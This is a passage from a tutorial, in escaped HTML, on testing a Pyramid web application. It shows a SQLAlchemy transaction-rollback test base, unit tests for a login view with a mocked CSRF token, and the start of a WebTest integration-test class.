setUpClass\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(cls):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e cls\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.engine \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e engine_from_config(settings, \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eprefix\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'sqlalchemy.'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e cls\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.Session \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e sessionmaker()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e setUp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e connection \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.engine.connect()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # begin a non-ORM transaction\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.trans \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e connection.begin()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # bind an individual Session to the connection\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Session.configure(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebind\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003econnection)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.session \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.Session(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ebind\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003econnection)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Entity.session \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.session\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e tearDown\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # rollback - everything that happened with the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # Session above (including calls to commit())\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # is rolled back.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e testing.tearDown()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.trans.rollback()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.session.close()\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis base test case will wrap all your sessions in an external\ntransaction so that you still have the ability to call flush/commit/etc\nand it will still be able to rollback any data changes you make.\u003c/p\u003e\n\u003ch1\u003eUnit Tests\u003c/h1\u003e\n\u003cp\u003eNow there are a few different types of tests you will want to run.\nFirst, you will want to do unit tests, which are small tests that only\ntest 1 thing at a time. This means you will skip the routes, templates,\netc. So let's setup our Unit Test Base class:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e UnitTestBase\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eBaseTestCase\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e setUp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.config \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e testing.setUp(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003erequest\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003etesting.DummyRequest())\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e super\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(UnitTestBase, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e).setUp()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e get_csrf_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self, post\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eNone\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e csrf \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'abc'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'csrf_token'\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e in\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e post.keys():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e post.update({\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'csrf_token'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: csrf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e })\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e request \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e testing.DummyRequest(post)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e request.session \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Mock()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e csrf_token \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e Mock()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e csrf_token.return_value \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e csrf\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e request.session.get_csrf_token \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e csrf_token\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e request\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe built in a utility function to help us test requests that require a\ncsrf token as well. Here is how we would use this class:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e TestViews\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eUnitTestBase\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e test_login_fails_empty\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\" Make sure we can't login with empty credentials\"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e app.accounts.views \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e LoginView\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.config.add_route(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'index'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'/'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.config.add_route(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'dashboard'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'/'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e request \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e testing.DummyRequest(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003epost\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'submit'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e })\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e view \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e LoginView(request)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e response \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e view.post()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e errors \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e response[\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'errors'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e].node.name \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'csrf_token'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e].msg \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Required'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e].node.name \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Username'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e].msg \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Required'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e].node.name \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Password'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e errors[\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e].msg \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e u\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Required'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e test_login_succeeds\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e \"\"\" Make sure we can login \"\"\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e admin \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e User(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eusername\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'sontek'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003epassword\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'temp'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ekind\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'admin'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e admin.activated \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e True\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.session.add(admin)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.session.flush()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e from\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e app.accounts.views \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eimport\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e LoginView\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.config.add_route(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'index'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'/'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.config.add_route(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'dashboard'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'/dashboard'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e request \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.get_csrf_request(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003epost\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'submit'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Username'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'sontek'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Password'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'temp'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e })\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e view \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e LoginView(request)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e response \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e view.post()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e assert\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e response.status_int \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 302\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eIntegration Tests\u003c/h1\u003e\n\u003cp\u003eThe second type of test you will want to write is an integration test.\nThis will integrate with the whole web framework and actually hit the\ndefine routes, render the templates, and actually test the full stack of\nyour application.\u003c/p\u003e\n\u003cp\u003eLuckily this is pretty easy to do with Pyramid using WebTest:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003eclass\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e IntegrationTestBase\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eBaseTestCase\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#DCBDFB\"\u003e @\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eclassmethod\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e setUpClass\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(cls):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e cls\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.app \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e main({}, \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e**\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003esettings)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e super\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(IntegrationTestBase, \u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003ecls\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e).setUpClass()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e def\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e setUp\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(self):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e self\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.app \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e TestApp(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003eself\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e.app)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 